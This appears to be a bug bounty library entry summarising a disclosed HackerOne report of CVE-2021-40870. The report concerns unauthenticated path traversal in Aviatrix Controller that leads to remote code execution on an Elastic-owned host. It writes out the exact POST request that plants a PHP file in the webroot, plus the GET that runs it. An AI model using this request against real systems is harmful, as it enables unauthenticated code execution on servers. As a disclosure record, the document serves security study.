# CVE-2021-40870 on [52.204.160.31]

Unauthenticated directory traversal in Aviatrix Controller's set_metric_gw_selections lets an attacker write a PHP webshell to the webroot and execute code.

- Payout: hidden
- Severity: critical
- Program: Elastic
- Found by: fdeleite
- Disclosed: 2021-10-06
- CVE: CVE-2021-40870
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1356845
- Library page: https://bugbountylibrary.com/r/h1%3A1356845
- Tags: area:web domain:web impact:rce kind:bounty platform:hackerone sev:critical technique:recon vuln:file-upload vuln:path-traversal vuln:rce

**Target:** Aviatrix Controller HTTP API endpoint /v1/backend1
**Root cause:** The account_name parameter in the set_metric_gw_selections action is used to build a file path without sanitizing ../ sequences, allowing writes outside the intended directory into the PHP webroot.
**Steps:**
1. Send `POST /v1/backend1` with body `CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/1yv4QQmkj4h4OdmmyT11tkiGf5M.php&data=RCE<?php phpinfo()?>`
2. The traversal in account_name writes the data payload as a .php file into /var/www/php/
3. Request `GET /v1/1yv4QQmkj4h4OdmmyT11tkiGf5M.php` to trigger execution of the uploaded PHP
**How found:** Researcher identified an Elastic-owned IP via its SSL certificate (CN=*.elasticit.co), then tested the known Aviatrix Controller CVE-2021-40870 traversal/upload against it.
**Exploitation:** Unauthenticated attacker posts a crafted form body to /v1/backend1; the account_name traversal path places attacker-controlled data as a PHP file in the webroot, then a GET to that file executes arbitrary PHP (demonstrated with phpinfo).
**Insight:** When a parameter is used to build a filesystem path for a write, try injecting ../ to redirect the write into a web-served directory with an executable extension; the write primitive alone becomes RCE.